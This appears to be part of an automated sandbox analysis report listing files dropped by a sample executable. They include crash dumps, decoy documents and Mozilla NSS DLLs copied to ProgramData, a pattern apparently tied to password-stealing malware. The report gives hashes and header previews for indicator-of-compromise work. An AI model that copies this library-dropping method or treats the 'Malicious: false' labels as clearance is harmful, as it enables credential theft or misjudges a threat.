SSDEEP:	192:6huoK97zZb0tq4ZjheZroZO9bzuiFoZ24IO8L:iu7zZotq4Zj7UbzuiFoY4IO8L
MD5:	E5CFD333838C697C0A62B0D164F58540
SHA1:	C9E3CEE5AF22DE10EC98250106A32688329B5AA4
SHA-256:	3EB57C92B41E77231E34B8F12556644DFAEA45B4336D17A271FDACC4302C531A
SHA-512:	BB8281283FDFA3D6D23341603B6D32A3087103233BD67D70BC515F63AACF964673A932DA9EB69F984A96741B5E0364E8323907A09635EEEE3955DCF7BF217BFE
Malicious:	false
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.A.P.P.C.R.A.S.H.....E.v.e.n.t.T.i.m.e.=.1.3.3.5.7.8.1.1.8.5.9.3.8.8.6.3.4.2.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.5.7.8.1.1.8.5.9.9.1.9.8.8.2.1.....R.e.p.o.r.t.S.t.a.t.u.s.=.6.5.5.4.5.6.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.5.4.1.9.a.0.e.d.-.6.4.8.f.-.4.f.3.d.-.b.c.2.b.-.4.6.2.6.8.c.9.9.b.e.c.6.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.b.e.8.3.7.f.f.a.-.1.4.3.3.-.4.1.8.1.-.9.a.2.7.-.f.f.b.4.a.c.f.d.1.4.6.7.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.z.V.p.8.c.G.4.r.i.O...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.6.5.8.-.0.0.0.1.-.0.0.1.4.-.7.2.c.6.-.7.2.3.8.9.7.9.0.d.a.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.6.6.3.b.f.6.8.4.d.c.7.f.5.e.5.3.9.8.a.6.b.f.4.9.6.1.b.0.e.2.4.2.0.0.0.0.f.f.f.f.!.0.0.0.0.2.d.9.1.e.4.a.2.0.f.f.b.2.6.d.3.1.c.3.9.6.f.6.4.5.4.6.c.6.8.b.a.c.9.e.3.7.2.0.8.!.z.V.p.8.c.G.4.r.i.O...e.x.e.....T.a.r.g.e.t.A.p.p.

C:\ProgramData\Microsoft\Windows\WER\Temp\WERE138.tmp.dmp

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 14 streams, Wed Apr 17 07:17:39 2024, 0x1205a4 type
Category:	dropped
Size (bytes):	57146
Entropy (8bit):	2.6429659100602714
Encrypted:	false
SSDEEP:	384:H4iFyrMu/SIxpREZY9H3sZeM8DHQFEfBE27:PFy5/BxpRmY9H3AeMNFKR
MD5:	945EC2EC5988E18D15D957DEF5AD8010
SHA1:	71A5823C91022AD9924C25C5B7FE453DD0F5C0CA
SHA-256:	84BA1F32D9F8569411F44B96D1E9706F29E75EFA907143BD875F29C75D55684D
SHA-512:	B313DFBB12C5C4C785436B78F8F68B2083E55B1F83507EA3E8CA4A08E49FA247343AF768C6BD9347F5F50CFE623666DF01BAEC707C67486CD0BFA3E2951F546E
Malicious:	false
Preview:	MDMP..a..... ........w.f............4...........p...<...........:2..........T.......8...........T............S..............."...........$..............................................................................eJ......0%......GenuineIntel............T.......X...dw.f.............................0..2...............W... .E.u.r.o.p.e. .S.t.a.n.d.a.r.d. .T.i.m.e.......................................W... .E.u.r.o.p.e. .S.u.m.m.e.r. .T.i.m.e...........................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6...................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WERE233.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	8350
Entropy (8bit):	3.7019025343842498
Encrypted:	false
SSDEEP:	192:R6l7wVeJhc6Gh6YEIdSUNlmgmfTjDnpDO89bvbsf9Fm:R6lXJK6m6YESSUNEgmfTjJvgfe
MD5:	BCEA855E92A3A2AED6422B18ECB26E20
SHA1:	50885BE67EF714FF4E9BEDDFCC23D637B5AF3790
SHA-256:	FC9850F6A433C6547035BCB68CAC255F87EB9D4FBEC5E33A4E5C43468AFA1C45
SHA-512:	41A254A28118CCF0870244FC489FE22AA2E6EB620200C6261CAD2F1AFF3FCE7286AD8F8B25B075C37D455439EE667E666D8A62031D7B635FE07F9C94BDBC059D
Malicious:	false
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.5.7.2.0.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WERE262.tmp.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4579
Entropy (8bit):	4.469217726070394
Encrypted:	false
SSDEEP:	48:cvIwWl8zsYtJg77aI9YrWpW8VY+Ym8M4JKePF5+q8jgONWegLdd:uIjfOI7ya7VCJnX+7NWegLdd
MD5:	803D8A93A330699F533AC32AF9763879
SHA1:	7F3CD2B6CA4DAD9FA4442A2D0BE1B45FD0820533
SHA-256:	4006A7DD7D6D61B148154EA682C089FC5CB893A9BF25407024D0A30191BBC73A
SHA-512:	409950562ACDA6F4F8005B1C05B12A1EF5F4E706F0FFB001A7787C5CEE44312429E2255CC92FA449C0DF3646802CEBAF3BE25EF8FA9A0B5E8F556B93F231A39E
Malicious:	false
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="283580" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\ProgramData\NVWZAPQSQL.docx

Download File

Process:	C:\Users\user\Desktop\zVp8cG4riO.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.6998645060098685
Encrypted:	false
SSDEEP:	24:FzrJLVfPTlXwAGfwXz0vRDC0aYECjYTixDXXwDyDFdJCSuHFF03T:FRLVHTlXwAGEoVCRYF0EDXgDVFHUj
MD5:	1676F91570425F6566A5746BC8E8427E
SHA1:	0F922133E2BEF0B48C623BEFA0C77361F6FA3900
SHA-256:	534233540B43C2A72D09DBF93858ECD7B5F48376B69182EDBCA9983409F21C87
SHA-512:	07D3CA8902964865FE9909054CF90DA1852678FBE58B1C0A8C2DBA2359A16DCBD43F23142D957DB9C1A8C2A1811EF4FEA74B0016A6F469538366B4FF01C8A146
Malicious:	false
Preview:	NVWZAPQSQLDLCZFLTMOWSKLFWOMMGYWWTZSPFFTDRHOTSSRKDGSJCIGMJJNKHMSAEMKBPGYCFVANNLUHHUMQOHINWJABNFIWWWZXJLCANQSKWMIWKPMVTCWFUMQBAGWZRWHRCMJDSNPGGGNECNQGPIZXLBIMLXMHDDXDKVYPEKRCNITDGJJNAEAATOVDDPBUDYWRPDYWARJTFXBUUZABBVURIWKONIVMPCYVUBTOTCIJJVRWYUNYHAFJZUMVTOIXZGAVVNSRENTVPHFLSLFWBLPFQDMQCJIHRXSQOTPSPDZKXCRBHZXDQIECBJTNIRGCACNADPHRWIVAWGPANEMHGPPPARWYWAOAHPWQLEGOBGVNWVBIFLAEOZYELRFOEZQCQIXCQBUKZGPOQFLHFLCFTYWBDGCWMDWICTICWVZEAQNJOOVCGQZYTBBXQPEYFQMSMETMKKZMRGXXLCDXDEEEJKZAUNEWZONYMVVIZOWQRUQYNOEFMWEVWXFAZRHGHUXGAYODAXDNQONZPVBKRYIOLZJIYSHJSCEPYVMYISKJIWPKVGUQBNLZCUFGXBFZDDRGUMCLJGJPDAZKZLRMDSBFEJQYNNKTHBMJMUHVUOIVZRULJFFYIUMOHUGCJUYZGXKXNIWZUKRIYDZATEOXGMHUPOOBIHEEVPKQEZDDWJHKEKLNTMWMDCFDOYCCDOERYFZNFUDEHYXIBQAVVOHQNIEWZODOFZDFJSWYCJMWWOIZSCZSZBGOIFHRDBXHKMCCLSYNVVXYLWKXEKVHIZEBIBHWMXDXEGZDYWRROMYHTDQVCLXOGVHWHFNIDZOXWTTPAMAKJIYLNQIEDSCCTSBLPHTTGLCIYXXWIBXAGYBACOKOTPPBKACWQBYRTKFMCSSRYQNESLPTLSLCWCSLHOGHNCGUFWMYXDBUFSOKFIDUIBHTQJFIQTVZZVIZEWTBSHJWKQXGUWLFKNDUSKPDSMJNJJNEEOWEHOKTNZWRDNOXWJEK

C:\ProgramData\ZGGKNSUKOP.xlsx

Download File

Process:	C:\Users\user\Desktop\zVp8cG4riO.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.6959554225029665
Encrypted:	false
SSDEEP:	24:TifvYKkubZMu3HGRW2lJUao1nH5o4WGAZ46:rKkmZMuklJUj+GAZ46
MD5:	DCABA2748DFEAEF0BFBC56FD9F79315C
SHA1:	B87FBA690A774893B22B9F611DFDCB5CDC520269
SHA-256:	86DF5957E0CD2EBDFC2FF8C2F05569BA71462149042DF57ECE5E8228E3BC5DDD
SHA-512:	65F10692D0AE5CBAADDB03E89D6CD1D3486429906437A17C2B1157BEDB069202B1DC52A4E864AA8F90B8CBD171FD2A3E150185BF7DFF81540E209B6A8F8829F3
Malicious:	false
Preview:	ZGGKNSUKOPMPPNHVZHJQGVEFQIYKECDTBUUNZDYNGQNIRYRWHUTXXPSHQTZPTZVHQXNNQJMVUKUOXVGORIAYJGXFFBGSTKCIJZKEQXQQIVFFMJLOMJSXIEOLRGDCSILZBJCYZNNVATINEQDJPDYKYEGAQWQMEKFVPOYVPNSSIUTCUVWRTSGVMOYKONZJJHVYYHDVZQPBVLAEYYFULQVIAJCQYCDCEGDPRRLXXZXFIPXZYSZYOHEAPCISCQQIAXVPAQUVHGATHPNBNNZVCLFBZBDBZXOQODZLPUONDHVUIQLSZFYHOZHZHEGULYTEVGGLQVDEJVLJEVPQFWMTICLCXTQWMOFFAXIMODRSEVRDYZWTZFYKVZAJEAQBNILURHKTJBNMYKYFSYGEEBYTRKZAHNYHNKUVIQXUDTDSCKKVFAHEOCHUYENGZNJLYIKKSHPNCIQVEDXXJBQWLPTRWDPYUIEDKEYQXNAFVHZZHVLORWXSFDRTMIHTRSJAHAAHMDOMCQGDKDFHBNGVZQTTCSWSPIHCTQXSLLYZTFMEMACZONDWHGUSVOCWSBRSQZPAKSJHSWPMXYNSVNZCBVQSSDMAXHBCCABCBJMXUBBMSGLUNDNJSGZUMDVFIJNOELGIFULZKPJDVNZQPDOWCXYQGTVJKDHOFHYVKNSZDNMILUISTCTZRFSEWRMDZLOBGFMXNVDCJYYLJUDJGSTSUEEGOSENKRNGXAGHHNOGGDSDRGIFROBPWJOCJPXDATRXEPUOWMBLLOQTSWYHGAJBORDMNUEAHWTKUYXIIPMYCMRMTPBVKTCXSHVYJOWCUSTTUMTZOYSOSDSUBSGMLOTYCZCTXANUCXZOADEOEJYBCLEULBLYXGMGORWYBNIGNRUWJATDKWTNSTJBVFQENEPZJCVWRRMXFFHEBPBGQZTDBCCMCQDYUYICLUZKGYRMAVIURGHOINFOGSJSSMACWITEPVYEMKEJTPCQQMYWOBTBOCHUSNOE

C:\ProgramData\freebl3.dll

Download File

Process:	C:\Users\user\Desktop\zVp8cG4riO.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Joe Sandbox View:	Filename: UvswnLTk5d.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: ylUZYIm2Lx.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: 9MdXmCCS7M.exe, Detection: malicious, Browse Filename: syYLq7N3cl.exe, Detection: malicious, Browse Filename: SecuriteInfo.com.Trojan.Siggen28.25504.27914.23637.exe, Detection: malicious, Browse Filename: aOnhHEghbr.exe, Detection: malicious, Browse Filename: SecuriteInfo.com.Win32.PWSX-gen.19014.16440.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\mozglue.dll

Download File

Process:	C:\Users\user\Desktop\zVp8cG4riO.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0% Antivirus: Virustotal, Detection: 0%, Browse
Joe Sandbox View:	Filename: UvswnLTk5d.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: ylUZYIm2Lx.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: 9MdXmCCS7M.exe, Detection: malicious, Browse Filename: syYLq7N3cl.exe, Detection: malicious, Browse Filename: SecuriteInfo.com.Trojan.Siggen28.25504.27914.23637.exe, Detection: malicious, Browse Filename: aOnhHEghbr.exe, Detection: malicious, Browse Filename: SecuriteInfo.com.Win32.PWSX-gen.19014.16440.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\msvcp140.dll

Download File

Process:	C:\Users\user\Desktop\zVp8cG4riO.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\ProgramData\nss3.dll

Download File

Process:	C:\Users\user\Desktop\zVp8cG4riO.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\softokn3.dll

Download File

Process:	C:\Users\user\Desktop\zVp8cG4riO.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\vcruntime140.dll

Download File

Process:	C:\Users\user\Desktop\zVp8cG4riO.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\freebl3[1].dll

Download File

Process:	C:\Users\user\Desktop\zVp8cG4riO.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\mozglue[1].dll

Download File

Process:	C:\Users\user\Desktop\zVp8cG4riO.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\msvcp140[1].dll

Download File

Process:	C:\Users\user\Desktop\zVp8cG4riO.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\nss3[1].dll

Download File

Process:	C:\Users\user\Desktop\zVp8cG4riO.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\softokn3[1].dll

Download File

Process:	C:\Users\user\Desktop\zVp8cG4riO.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
